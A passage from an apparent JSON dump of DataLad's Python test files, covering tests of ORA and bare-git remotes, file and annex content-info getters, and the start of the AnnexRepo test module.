yet:\\n eq_(len(ds.repo.whereis('one.txt')), 2)\\n\\n # But after fsck it does:\\n fsck_res = [annexjson2result(r, ds)\\n for r in ds.repo.fsck(remote='ora-remote', fast=True)]\\n assert_result_count(fsck_res,\\n 1,\\n status='error',\\n error_message='** Based on the location log, one.txt\\\\n'\\n '** was expected to be present, '\\n 'but its content is missing.')\\n assert_result_count(fsck_res,\\n 1,\\n status='error',\\n error_message='** Based on the location log, subdir/two\\\\n'\\n '** was expected to be present, '\\n 'but its content is missing.')\\n eq_(len(ds.repo.whereis('one.txt')), 1)\\n # and the other way around: upload via ora-remote and have it available via\\n # git-remote:\\n ds.push('.', to='ora-remote')\\n # fsck to make availability known\\n assert_status(\\n 'ok',\\n [annexjson2result(r, ds)\\n for r in ds.repo.fsck(remote='bare-git', fast=True)])\\n eq_(len(ds.repo.whereis('one.txt')), 3)\\n\\n\\n@slow # 12sec + ? on travis\\ndef test_bare_git_version_1():\\n # TODO: Skipped due to gh-4436\\n known_failure_windows(skip_ssh(_test_bare_git_version_1))('datalad-test')\\n _test_bare_git_version_1(None)\\n\\n\\n@known_failure_windows # see gh-4469\\n@with_tempfile()\\n@with_tempfile(mkdir=True)\\ndef _test_bare_git_version_2(host, dspath, store):\\n # Similarly to test_bare_git_version_1, this should ensure a bare git repo\\n # at the store location for a dataset doesn't conflict with the ORA remote.\\n # Note: Usability of git remote by annex depends on dataset layout version\\n # (dirhashlower vs. -mixed).\\n # For version 2 (mixed) upload via ORA and consumption via git should\\n # work. But not the other way around, since git-annex uses\\n # dirhashlower with bare repos.\\n\\n ds_path = Path(dspath)\\n store = Path(store)\\n ds = Dataset(ds_path).create()\\n populate_dataset(ds)\\n\\n bare_repo_path, _, objdir = get_layout_locations(1, store, ds.id)\\n # Use git to make sure the remote end is what git thinks a bare clone of it\\n # should look like\\n subprocess.run(['git', 'clone', '--bare',\\n quote_cmdlinearg(str(dspath)),\\n quote_cmdlinearg(str(bare_repo_path))\\n ])\\n\\n if host:\\n url = \\\"ria+ssh://{host}{path}\\\".format(host=host,\\n path=store)\\n else:\\n url = \\\"ria+{}\\\".format(store.as_uri())\\n init_opts = common_init_opts + ['url={}'.format(url)]\\n # set up store:\\n io = SSHRemoteIO(host) if host else LocalIO()\\n create_store(io, store, '1')\\n # set up the dataset location, too.\\n # Note: Dataset layout version 2 (dirhash mixed):\\n create_ds_in_store(io, store, ds.id, '2', '1')\\n # Avoid triggering a git-annex safety check. See gh-5253.\\n assert objdir.is_absolute()\\n io.remove_dir(objdir)\\n\\n # Now, let's have the bare repo as a git remote\\n git_url = \\\"ssh://{host}{path}\\\".format(host=host, path=bare_repo_path) \\\\\\n if host else bare_repo_path.as_uri()\\n ds.repo.add_remote('bare-git', git_url)\\n ds.repo.enable_remote('bare-git')\\n # and the ORA remote in addition:\\n ds.repo.init_remote('ora-remote', options=init_opts)\\n # upload keys via ORA:\\n ds.push('.', to='ora-remote')\\n # bare-git doesn't know yet:\\n eq_(len(ds.repo.whereis('one.txt')), 2)\\n # fsck to make availability known\\n assert_status(\\n 'ok',\\n [annexjson2result(r, ds)\\n for r in ds.repo.fsck(remote='bare-git', fast=True)])\\n eq_(len(ds.repo.whereis('one.txt')), 3)\\n ds.drop('.')\\n eq_(len(ds.repo.whereis('one.txt')), 2)\\n # actually consumable via git remote:\\n ds.repo.call_annex(['move', 'one.txt', '--from', 'bare-git'])\\n eq_(len(ds.repo.whereis('one.txt')), 2)\\n # now, move back via git - shouldn't be consumable via ORA\\n ds.repo.call_annex(['move', 'one.txt', '--to', 'bare-git'])\\n # fsck to make availability known, but there's nothing from POV of ORA:\\n fsck_res = [annexjson2result(r, ds)\\n for r in ds.repo.fsck(remote='ora-remote', fast=True)]\\n assert_result_count(fsck_res,\\n 1,\\n status='error',\\n error_message='** Based on the location log, one.txt\\\\n'\\n '** was expected to be present, '\\n 'but its content is missing.')\\n assert_result_count(fsck_res, 3, status='ok')\\n eq_(len(fsck_res), 4)\\n eq_(len(ds.repo.whereis('one.txt')), 1)\\n\\n\\n@slow # 13sec + ? on travis\\ndef test_bare_git_version_2():\\n # TODO: Skipped due to gh-4436\\n known_failure_windows(skip_ssh(_test_bare_git_version_2))('datalad-test')\\n _test_bare_git_version_2(None)\\n\\n# TODO: Outcommented \\\"old\\\" test from git-annex-ria-remote. This one needs to be\\n# revisited after RF'ing to base ORA on proper command abstractions for\\n# remote execution\\n\\n# @skip_if_on_windows\\n# @with_tempfile\\n# @with_tempfile(mkdir=True)\\n# @serve_path_via_http\\n# @with_tempfile\\n# @with_tempfile\\n# @with_tempfile(mkdir=True)\\n# def test_create_as_bare(origin=None, remote_base_path=None, remote_base_url=None, public=None,\\n# consumer=None, tmp_location=None):\\n#\\n# # Note/TODO: Do we need things like:\\n# # git config receive.denyCurrentBranch updateInstead\\n# # mv .hooks/post-update.sample hooks/post-update\\n# # git update-server-info\\n#\\n# # Test how we build a riaremote from an existing dataset, that is a bare git repo and can be accessed as a git type\\n# # remote as well. This should basically outline how to publish to that kind of structure as a data store, that is\\n# # autoenabled, so we can publish to github/gitlab and make that storage known.\\n#\\n# remote_base_path = Path(remote_base_path)\\n#\\n# ds = create(origin)\\n# populate_dataset(ds)\\n# assert_repo_status(ds.path)\\n#\\n# # add the ria remote:\\n# # Note: For serve_path_via_http to work (which we need later), the directory needs to already exist.\\n# # But by default ORARemote will reject to create the remote structure in an already existing directory,\\n# # that wasn't created by itself (lacks as ria-layout-version file).\\n# # So, we can either configure force-write here or put a version file in it beforehand.\\n# # However, this is specific to the test environment!\\n# with open(str(remote_base_path / 'ria-layout-version'), 'w') as f:\\n# f.write('1')\\n# initexternalremote(ds.repo, 'riaremote', 'ora', config={'base-path': str(remote_base_path)})\\n# # pretty much any annex command that talks to that remote should now trigger the actual creation on the remote end:\\n# assert_status(\\n# 'ok',\\n# [annexjson2result(r, ds)\\n# for r in ds.repo.fsck(remote='riaremote', fast=True)])\\n#\\n# remote_dataset_path = remote_base_path / ds.id[:3] / ds.id[3:]\\n#\\n# assert remote_base_path.exists()\\n# assert remote_dataset_path.exists()\\n# ds.push('.', to='riaremote')\\n#\\n# # Now, let's make the remote end a valid, bare git repository\\n# eq_(subprocess.run(['git', 'init', '--bare'], cwd=str(remote_dataset_path)).returncode,\\n# 0)\\n#\\n# #subprocess.run(['mv', 'hooks/post-update.sample', 'hooks/post-update'], cwd=remote_dataset_path)\\n# #subprocess.run(['git', 'update-server-info'], cwd=remote_dataset_path)\\n#\\n# # TODO: we might need \\\"mv .hooks/post-update.sample hooks/post-update\\\", \\\"git update-server-info\\\" as well\\n# # add as git remote and push everything\\n# eq_(subprocess.run(['git', 'remote', 'add', 'bare-git', str(remote_dataset_path)], cwd=origin).returncode,\\n# 0)\\n# # Note: \\\"--mirror\\\" does the job for this test, while it might not be a good default some kind of\\n# # datalad-create-sibling. However those things need to be configurable for actual publish/creation routine anyway\\n# eq_(subprocess.run(['git', 'push', '--mirror', 'bare-git'], cwd=origin).returncode,\\n# 0)\\n#\\n# # annex doesn't know the bare-git remote yet:\\n# eq_(len(ds.repo.whereis('one.txt')), 2)\\n# # But after enableremote and a fsck it does:\\n# eq_(subprocess.run(['git', 'annex', 'enableremote', 'bare-git'], cwd=origin).returncode,\\n# 0)\\n# assert_status(\\n# 'ok',\\n# [annexjson2result(r, ds)\\n# for r in ds.repo.fsck(remote='bare-git', fast=True)])\\n# eq_(len(ds.repo.whereis('one.txt')), 3)\\n#\\n# # we can drop and get again via 'bare-git' remote:\\n# ds.drop('.')\\n# eq_(len(ds.repo.whereis('one.txt')), 2)\\n# eq_(subprocess.run(['git', 'annex', 'get', 'one.txt', '--from', 'bare-git'], cwd=origin).returncode,\\n# 0)\\n# eq_(len(ds.repo.whereis('one.txt')), 3)\\n# # let's get the other one from riaremote\\n# eq_(len(ds.repo.whereis(op.join('subdir', 'two'))), 2)\\n# eq_(subprocess.run(['git', 'annex', 'get', op.join('subdir', 'two'), '--from', 'riaremote'], cwd=origin).returncode,\\n# 0)\\n# eq_(len(ds.repo.whereis(op.join('subdir', 'two'))), 3)\\n#\\n# raise SkipTest(\\\"NOT YET DONE\\\")\\n# # TODO: Part below still doesn't work. \\\"'storage' is not available\\\" when trying to copy to it. May be the HTTP\\n# # Server is not available from within the context of the git-type special remote? Either way, still smells like an\\n# # issue with the f****** test setup.\\n#\\n#\\n#\\n# # Now, let's try make it a data store for datasets available from elsewhere (like github or gitlab):\\n# # For this test, we need a second git remote pointing to remote_dataset_path, but via HTTP.\\n# # This is because annex-initremote for a git-type special remote requires a git remote pointing to the same location\\n# # and it fails to match local paths. Also doesn't work with file:// scheme.\\n# #\\n# # TODO: Figure it out in detail. That issue is either a bug or not \\\"real\\\".\\n# #\\n# # ds.repo._allow_local_urls()\\n# # dataset_url = remote_base_url + ds.id[:3] + '/' + ds.id[3:] + '/'\\n# # eq_(subprocess.run(['git', 'remote', 'add', 'datasrc', dataset_url],\\n# # cwd=origin).returncode,\\n# # 0)\\n# # eq_(subprocess.run(['git', 'annex', 'initremote', 'storage', 'type=git',\\n# # 'location={}'.format(dataset_url), 'autoenable=true'],\\n# # cwd=origin).returncode,\\n# # 0)\\n# # assert_status(\\n# # 'ok',\\n# # [annexjson2result(r, ds)\\n# # for r in fsck(ds.repo, remote='storage', fast=True)])\\n\"\n },\n {\n \"alpha_fraction\": 0.6054096817970276,\n \"alphanum_fraction\": 0.6075311303138733,\n \"avg_line_length\": 37.479591369628906,\n \"blob_id\": \"bbe1685ed58288a093751b23257e12c19b17292d\",\n \"content_id\": \"739130044659bfec5aeec09d50877c0c68d4b95b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 15084,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 392,\n \"path\": \"/datalad/support/tests/test_fileinfo.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test file info getters\\\"\\\"\\\"\\n\\n\\nimport os.path as op\\nfrom pathlib import Path\\n\\nimport datalad.utils as ut\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.support.exceptions import NoSuchPathError\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.tests.utils_pytest import (\\n assert_dict_equal,\\n assert_equal,\\n assert_false,\\n assert_in,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n get_annexstatus,\\n get_convoluted_situation,\\n known_failure_githubci_win,\\n on_nfs,\\n on_travis,\\n slow,\\n skip_if,\\n with_tempfile,\\n with_tree,\\n)\\n\\n\\n@slow # 10sec on travis\\n@known_failure_githubci_win\\n@with_tempfile\\ndef test_get_content_info(path=None):\\n repo = GitRepo(path)\\n assert_equal(repo.get_content_info(), {})\\n # an invalid reference causes an exception\\n assert_raises(ValueError, repo.get_content_info, ref='HEAD')\\n\\n ds = get_convoluted_situation(path)\\n repopath = ds.repo.pathobj\\n\\n assert_equal(ds.repo.pathobj, repopath)\\n assert_equal(ds.pathobj, ut.Path(path))\\n\\n # verify general rules on fused info records that are incrementally\\n # assembled: for git content info, amended with annex info on 'HEAD'\\n # (to get the last committed stage and with it possibly vanished\\n # content), and lastly annex info wrt to the present worktree, to\\n # also get info on added/staged content\\n # this fuses the info reported from\\n # - git ls-files\\n # - git annex findref HEAD\\n # - git annex find --include '*'\\n for f, r in get_annexstatus(ds.repo).items():\\n if f.match('*_untracked'):\\n assert(r.get('gitshasum', None) is None)\\n if f.match('*_deleted'):\\n assert(not f.exists() and not f.is_symlink() is None)\\n if f.match('subds_*'):\\n assert(r['type'] == 'dataset' if r.get('gitshasum', None) else 'directory')\\n if f.match('file_*'):\\n # which one exactly depends on many things\\n assert_in(r['type'], ('file', 'symlink'))\\n if f.match('file_ingit*'):\\n assert(r['type'] == 'file')\\n elif '.datalad' not in f.parts and not f.match('.git*') and \\\\\\n r.get('gitshasum', None) and not f.match('subds*'):\\n # this should be known to annex, one way or another\\n # regardless of whether things add deleted or staged\\n # or anything in between\\n assert_in('key', r, f)\\n assert_in('keyname', r, f)\\n assert_in('backend', r, f)\\n assert_in('bytesize', r, f)\\n # no duplication with path\\n assert_not_in('file', r, f)\\n\\n # query full untracked report\\n res = ds.repo.get_content_info()\\n assert_in(repopath.joinpath('dir_untracked', 'file_untracked'), res)\\n assert_not_in(repopath.joinpath('dir_untracked'), res)\\n # query for compact untracked report\\n res = ds.repo.get_content_info(untracked='normal')\\n assert_not_in(repopath.joinpath('dir_untracked', 'file_untracked'), res)\\n assert_in(repopath.joinpath('dir_untracked'), res)\\n # query no untracked report\\n res = ds.repo.get_content_info(untracked='no')\\n assert_not_in(repopath.joinpath('dir_untracked', 'file_untracked'), res)\\n assert_not_in(repopath.joinpath('dir_untracked'), res)\\n\\n # git status integrity\\n status = ds.repo.status()\\n for t in ('subds', 'file'):\\n for s in ('untracked', 'added', 'deleted', 'clean',\\n 'ingit_clean', 'dropped_clean', 'modified',\\n 'ingit_modified'):\\n for l in ('', ut.PurePosixPath('subdir', '')):\\n if t == 'subds' and 'ingit' in s or 'dropped' in s:\\n # invalid combination\\n continue\\n if t == 'subds' and s == 'deleted':\\n # same as subds_unavailable -> clean\\n continue\\n p = repopath.joinpath(l, '{}_{}'.format(t, s))\\n assert p.match('*_{}'.format(status[p]['state'])), p\\n if t == 'subds':\\n assert_in(status[p]['type'], ('dataset', 'directory'), p)\\n else:\\n assert_in(status[p]['type'], ('file', 'symlink'), p)\\n\\n # git annex status integrity\\n annexstatus = get_annexstatus(ds.repo)\\n for t in ('file',):\\n for s in ('untracked', 'added', 'deleted', 'clean',\\n 'ingit_clean', 'dropped_clean', 'modified',\\n 'ingit_modified'):\\n for l in ('', ut.PurePosixPath('subdir', '')):\\n p = repopath.joinpath(l, '{}_{}'.format(t, s))\\n if s in ('untracked', 'ingit_clean', 'ingit_modified'):\\n # annex knows nothing about these things\\n assert_not_in('key', annexstatus[p])\\n continue\\n assert_in('key', annexstatus[p])\\n # dear future,\\n # if the next one fails, git-annex might have changed the\\n # nature of the path that are being reported by\\n # `annex find --json`\\n # when this was written `hashir*` was a native path, but\\n # `file` was a POSIX path\\n assert_equal(annexstatus[p]['has_content'], 'dropped' not in s)\\n\\n # check the different subds evaluation modes\\n someds = Dataset(ds.pathobj / 'subds_modified' / 'someds')\\n dirtyds_path = someds.pathobj / 'dirtyds'\\n assert_not_in(\\n 'state',\\n someds.repo.status(eval_submodule_state='no')[dirtyds_path]\\n )\\n assert_equal(\\n 'clean',\\n someds.repo.status(eval_submodule_state='commit')[dirtyds_path]['state']\\n )\\n assert_equal(\\n 'modified',\\n someds.repo.status(eval_submodule_state='full')[dirtyds_path]['state']\\n )\\n\\n\\n\\n@with_tempfile\\ndef test_compare_content_info(path=None):\\n # TODO remove when `create` is RF to return the new Dataset\\n ds = Dataset(path).create()\\n assert_repo_status(path)\\n\\n # for a clean repo HEAD and worktree query should yield identical results\\n # minus a 'bytesize' report that is readily available for HEAD, but would\\n # not a stat call per file for the worktree, and is not done ATM\\n wt = ds.repo.get_content_info(ref=None)\\n assert_dict_equal(\\n wt,\\n {f: {k: v for k, v in p.items() if k != 'bytesize'}\\n for f, p in ds.repo.get_content_info(ref='HEAD').items()}\\n )\\n\\n\\n@with_tempfile\\ndef test_subds_path(path=None):\\n # a dataset with a subdataset with a file, all neatly tracked\\n ds = Dataset(path).create()\\n subds = ds.create('sub')\\n assert_repo_status(path)\\n with (subds.pathobj / 'some.txt').open('w') as f:\\n f.write(u'test')\\n ds.save(recursive=True)\\n assert_repo_status(path)\\n\\n # querying the toplevel dataset repo for a subdspath should\\n # report the subdataset record in the dataset\\n # (unlike `git status`, which is silent for subdataset paths),\\n # but definitely not report the subdataset as deleted\\n # https://github.com/datalad/datalad-revolution/issues/17\\n stat = ds.repo.status(paths=[op.join('sub', 'some.txt')])\\n assert_equal(list(stat.keys()), [subds.repo.pathobj])\\n assert_equal(stat[subds.repo.pathobj]['state'], 'clean')\\n\\n\\n@skip_if(on_travis and on_nfs) # TODO. stalls https://github.com/datalad/datalad/pull/7372\\n@with_tempfile\\ndef test_report_absent_keys(path=None):\\n ds = Dataset(path).create()\\n # create an annexed file\\n testfile = ds.pathobj / 'dummy'\\n testfile.write_text(u'nothing')\\n ds.save()\\n # present in a full report and in a partial report\\n # based on worktree of HEAD ref\\n for ai in (\\n ds.repo.get_content_annexinfo(eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n paths=['dummy'],\\n eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n ref='HEAD',\\n eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n ref='HEAD',\\n paths=['dummy'],\\n eval_availability=True)):\\n assert_in(testfile, ai)\\n assert_equal(ai[testfile]['has_content'], True)\\n # drop the key, not available anywhere else\\n ds.drop('dummy', reckless='kill')\\n # does not change a thing, except the key is gone\\n for ai in (\\n ds.repo.get_content_annexinfo(eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n paths=['dummy'],\\n eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n ref='HEAD',\\n eval_availability=True),\\n ds.repo.get_content_annexinfo(\\n ref='HEAD',\\n paths=['dummy'],\\n eval_availability=True)):\\n assert_in(testfile, ai)\\n assert_equal(ai[testfile]['has_content'], False)\\n # make sure files with URL keys are correctly reported:\\n from datalad.conftest import test_http_server\\n remote_file_name = 'imaremotefile.dat'\\n local_file_name = 'mehasurlkey'\\n (Path(test_http_server.path) / remote_file_name).write_text(\\\"weee\\\")\\n remote_file_url = f'{test_http_server.url}/{remote_file_name}'\\n # we need to get a file with a URL key and check its local availability\\n ds.repo.call_annex(['addurl', '--relaxed', remote_file_url, '--file',\\n local_file_name])\\n ds.save(\\\"URL keys!\\\")\\n # should not be there\\n res = ds.repo.get_file_annexinfo(local_file_name, eval_availability=True)\\n assert_equal(res['has_content'], False)\\n ds.get(local_file_name)\\n # should be there\\n res = ds.repo.get_file_annexinfo(local_file_name, eval_availability=True)\\n assert_equal(res['has_content'], True)\\n\\n\\n@with_tempfile\\ndef test_annexinfo_init(path=None):\\n ds = Dataset(path).create()\\n foo = ds.pathobj / \\\"foo\\\"\\n foo_cont = b\\\"foo content\\\"\\n foo.write_bytes(foo_cont)\\n bar = ds.pathobj / \\\"bar\\\"\\n bar.write_text(u\\\"bar content\\\")\\n ds.save()\\n\\n # Custom init limits report, with original dict getting updated.\\n cinfo_custom_init = ds.repo.get_content_annexinfo(\\n init={foo: {\\\"bytesize\\\": 0,\\n \\\"this-is-surely-only-here\\\": \\\"right?\\\"}})\\n assert_not_in(bar, cinfo_custom_init)\\n assert_in(foo, cinfo_custom_init)\\n assert_equal(cinfo_custom_init[foo][\\\"bytesize\\\"], len(foo_cont))\\n assert_equal(cinfo_custom_init[foo][\\\"this-is-surely-only-here\\\"],\\n \\\"right?\\\")\\n\\n # \\\"git\\\" injects get_content_info() values.\\n cinfo_init_git = ds.repo.get_content_annexinfo(init=\\\"git\\\")\\n assert_in(\\\"gitshasum\\\", cinfo_init_git[foo])\\n\\n # init=None, on the other hand, does not.\\n cinfo_init_none = ds.repo.get_content_annexinfo(init=None)\\n assert_in(foo, cinfo_init_none)\\n assert_in(bar, cinfo_init_none)\\n assert_not_in(\\\"gitshasum\\\", cinfo_init_none[foo])\\n\\n\\n@with_tempfile\\ndef test_info_path_inside_submodule(path=None):\\n ds = Dataset(path).create()\\n subds = ds.create(\\\"submod\\\")\\n foo = (subds.pathobj / \\\"foo\\\")\\n foo.write_text(\\\"foo\\\")\\n ds.save(recursive=True)\\n cinfo = ds.repo.get_content_info(\\n ref=\\\"HEAD\\\", paths=[foo.relative_to(ds.pathobj)])\\n assert_in(\\\"gitshasum\\\", cinfo[subds.pathobj])\\n\\n\\n@with_tempfile\\ndef test_get_content_info_dotgit(path=None):\\n ds = Dataset(path).create()\\n # Files in .git/ won't be reported, though this takes a kludge on our side\\n # before Git 2.25.\\n assert_false(ds.repo.get_content_info(paths=[op.join(\\\".git\\\", \\\"config\\\")]))\\n\\n\\n@with_tempfile\\ndef test_get_content_info_paths_empty_list(path=None):\\n ds = Dataset(path).create()\\n\\n # Unlike None, passing any empty list as paths to get_content_info() does\\n # not report on all content.\\n assert_false(ds.repo.get_content_info(paths=[]))\\n assert_false(ds.repo.get_content_info(paths=[], ref=\\\"HEAD\\\"))\\n\\n # Add annex content to make sure its not reported.\\n (ds.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n ds.save()\\n\\n # Same for get_content_annexinfo()...\\n assert_false(ds.repo.get_content_annexinfo(paths=[]))\\n assert_false(ds.repo.get_content_annexinfo(paths=[], init=None))\\n assert_false(ds.repo.get_content_annexinfo(paths=[], ref=\\\"HEAD\\\"))\\n assert_false(\\n ds.repo.get_content_annexinfo(paths=[], ref=\\\"HEAD\\\", init=None))\\n # ... where whatever was passed for init will be returned as is.\\n assert_equal(\\n ds.repo.get_content_annexinfo(\\n paths=[], ref=\\\"HEAD\\\", init={\\\"random\\\": {\\\"entry\\\": \\\"a\\\"}}),\\n {\\\"random\\\": {\\\"entry\\\": \\\"a\\\"}})\\n\\n\\n@with_tempfile\\ndef test_status_paths_empty_list(path=None):\\n ds = Dataset(path).create()\\n assert_equal(ds.repo.status(paths=[]), {})\\n\\n\\n@with_tree(tree=(('ingit.txt', 'ingit'),\\n ('inannex.txt', 'inannex'),\\n ('dir1', {'dropped': 'dropped'}),\\n ('dir2', {'d21': 'd21', 'd22': 'd22'})))\\ndef test_get_file_annexinfo(path=None):\\n ds = Dataset(path).create(force=True)\\n ds.save('ingit.txt', to_git=True)\\n ds.save()\\n # have some content-less component for testing\\n ds.drop(ds.pathobj / 'dir1', reckless='kill')\\n\\n repo = ds.repo\\n # only handles a single file at a time\\n assert_raises(ValueError, repo.get_file_annexinfo, repo.pathobj / 'dir2')\\n # however, it only functionally matters that there is only a single file to\\n # report on not that the exact query path matches, the matching path is in\\n # the report\\n assert_equal(\\n repo.pathobj / 'dir1' / 'dropped',\\n repo.get_file_annexinfo(repo.pathobj / 'dir1')['path'])\\n\\n # does not raise on a non-annex file, instead it returns no properties\\n assert_equal(repo.get_file_annexinfo('ingit.txt'), {})\\n\\n # but does raise on path that doesn exist\\n assert_raises(NoSuchPathError, repo.get_file_annexinfo, 'nothere')\\n\\n # check return properties for utility\\n props = repo.get_file_annexinfo('inannex.txt')\\n # to replace get_file_backend()\\n assert_equal(props['backend'], 'MD5E')\\n # to replace get_file_key()\\n assert_equal(props['key'], 'MD5E-s7--3b158c5b0a18c247ebad28c09fc3e180.txt')\\n # for size reporting\\n assert_equal(props['bytesize'], 7)\\n # all records have a pathobj\\n assert_equal(props['path'], repo.pathobj / 'inannex.txt')\\n # test if `eval_availability` has desired effect\\n assert_not_in('has_content', props)\\n\\n # extended set of properties, after more expensive availability check\\n props = repo.get_file_annexinfo('inannex.txt', eval_availability=True)\\n # to replace file_has_content()\\n assert_equal(props['has_content'], True)\\n # to replace get_contentlocation()\\n assert_equal(\\n Path(props['objloc']).read_text(),\\n 'inannex')\\n\\n # make sure has_content is not always True\\n props = repo.get_file_annexinfo(\\n ds.pathobj / 'dir1' / 'dropped', eval_availability=True)\\n assert_equal(props['has_content'], False)\\n assert_not_in('objloc', props)\\n\"\n },\n {\n \"alpha_fraction\": 0.6220777034759521,\n \"alphanum_fraction\": 0.6345899701118469,\n \"avg_line_length\": 34.929969787597656,\n \"blob_id\": \"605fef2763039c9ebec64a1401fd38c71004f434\",\n \"content_id\": \"df5c9b60bef06836f6e74f880612a6babeab582f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 99023,\n \"license_type\": \"permissive\",\n \"max_line_length\": 194,\n \"num_lines\": 2756,\n \"path\": \"/datalad/support/tests/test_annexrepo.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test implementation of class AnnexRepo\\n\\n\\\"\\\"\\\"\\n\\nimport gc\\nimport json\\nimport logging\\nimport os\\nimport re\\nimport sys\\nimport unittest.mock\\nfrom functools import partial\\nfrom glob import glob\\nfrom os import mkdir\\nfrom os.path import (\\n basename,\\n curdir,\\n exists,\\n)\\nfrom os.path import join as opj\\nfrom os.path import (\\n pardir,\\n relpath,\\n)\\nfrom queue import Queue\\nfrom shutil import copyfile\\nfrom unittest.mock import patch\\nfrom urllib.parse import (\\n urljoin,\\n urlsplit,\\n)\\n\\nimport pytest\\n\\nfrom datalad import cfg as dl_cfg\\nfrom datalad.api import clone\\nfrom datalad.cmd import GitWitlessRunner\\nfrom datalad.cmd import WitlessRunner as Runner\\nfrom datalad.consts import (\\n DATALAD_SPECIAL_REMOTE,\\n DATALAD_SPECIAL_REMOTES_UUIDS,\\n WEB_SPECIAL_REMOTE_UUID,\\n)\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.runner.gitrunner import GitWitlessRunner\\nfrom datalad.support import path as op\\n# imports from same module:\\nfrom datalad.support.annexrepo import (\\n AnnexJsonProtocol,\\n AnnexRepo,\\n GeneratorAnnexJsonNoStderrProtocol,\\n GeneratorAnnexJsonProtocol,\\n)\\nfrom datalad.support.exceptions import (\\n AnnexBatchCommandError,\\n CommandError,\\n FileInGitError,\\n FileNotInAnnexError,\\n FileNotInRepositoryError,\\n IncompleteResultsError,\\n InsufficientArgumentsError,\\n MissingExternalDependency,\\n OutdatedExternalDependency,\\n OutOfSpaceError,\\n RemoteNotAvailableError,\\n)\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.support.sshconnector import get_connection_hash\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n DEFAULT_REMOTE,\\n OBSCURE_FILENAME,\\n SkipTest,\\n assert_cwd_unchanged,\\n)\\nfrom datalad.tests.utils_pytest import assert_dict_equal as deq_\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n assert_false,\\n assert_in,\\n assert_is_instance,\\n assert_not_equal,\\n assert_not_in,\\n assert_not_is_instance,\\n assert_raises,\\n assert_re_in,\\n assert_repo_status,\\n assert_result_count,\\n assert_true,\\n create_tree,\\n eq_,\\n find_files,\\n get_most_obscure_supported_name,\\n known_failure_githubci_win,\\n known_failure_windows,\\n maybe_adjust_repo,\\n ok_,\\n ok_annex_get,\\n ok_file_has_content,\\n ok_file_under_git,\\n ok_git_config_not_empty,\\n on_nfs,\\n on_travis,\\n serve_path_via_http,\\n set_annex_version,\\n skip_if,\\n skip_if_adjusted_branch,\\n skip_if_on_windows,\\n skip_if_root,\\n skip_nomultiplex_ssh,\\n slow,\\n swallow_logs,\\n swallow_outputs,\\n with_parametric_batch,\\n with_sameas_remote,\\n with_tempfile,\\n with_tree,\\n xfail_buggy_annex_info,\\n)\\nfrom datalad.utils import (\\n Path,\\n chpwd,\\n get_linux_distribution,\\n on_windows,\\n quote_cmdlinearg,\\n rmtree,\\n unlink,\\n)\\n\\n\\n_GIT_ANNEX_VERSIONS_INFO = AnnexRepo.check_repository_versions()\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_instance_from_clone(src=None, dst=None):\\n\\n origin = AnnexRepo(src, create=True)\\n ar = AnnexRepo.clone(src, dst)\\n assert_is_instance(ar, AnnexRepo, \\\"AnnexRepo was not created.\\\")\\n ok_(os.path.exists(os.path.join(dst, '.git', 'annex')))\\n\\n # do it again should raise ValueError since git will notice\\n # there's already a git-repo at that path and therefore can't clone to `dst`\\n with swallow_logs(new_level=logging.WARN) as cm:\\n assert_raises(ValueError, AnnexRepo.clone, src, dst)\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_AnnexRepo_instance_from_existing(path=None):\\n AnnexRepo(path, create=True)\\n\\n ar = AnnexRepo(path)\\n assert_is_instance(ar, AnnexRepo, \\\"AnnexRepo was not created.\\\")\\n ok_(os.path.exists(os.path.join(path, '.git')))\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_AnnexRepo_instance_brand_new(path=None):\\n\\n GitRepo(path)\\n assert_raises(RuntimeError, AnnexRepo, path, create=False)\\n\\n ar = AnnexRepo(path)\\n assert_is_instance(ar, AnnexRepo, \\\"AnnexRepo was not created.\\\")\\n ok_(os.path.exists(os.path.join(path, '.git')))\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_AnnexRepo_crippled_filesystem(dst=None):\\n\\n ar = AnnexRepo(dst)\\n\\n # fake git-annex entries in .git/config:\\n ar.config.set(\\n \\\"annex.crippledfilesystem\\\",\\n 'true',\\n scope='local')\\n ok_(ar.is_crippled_fs())\\n ar.config.set(\\n \\\"annex.crippledfilesystem\\\",\\n 'false',\\n scope='local')\\n 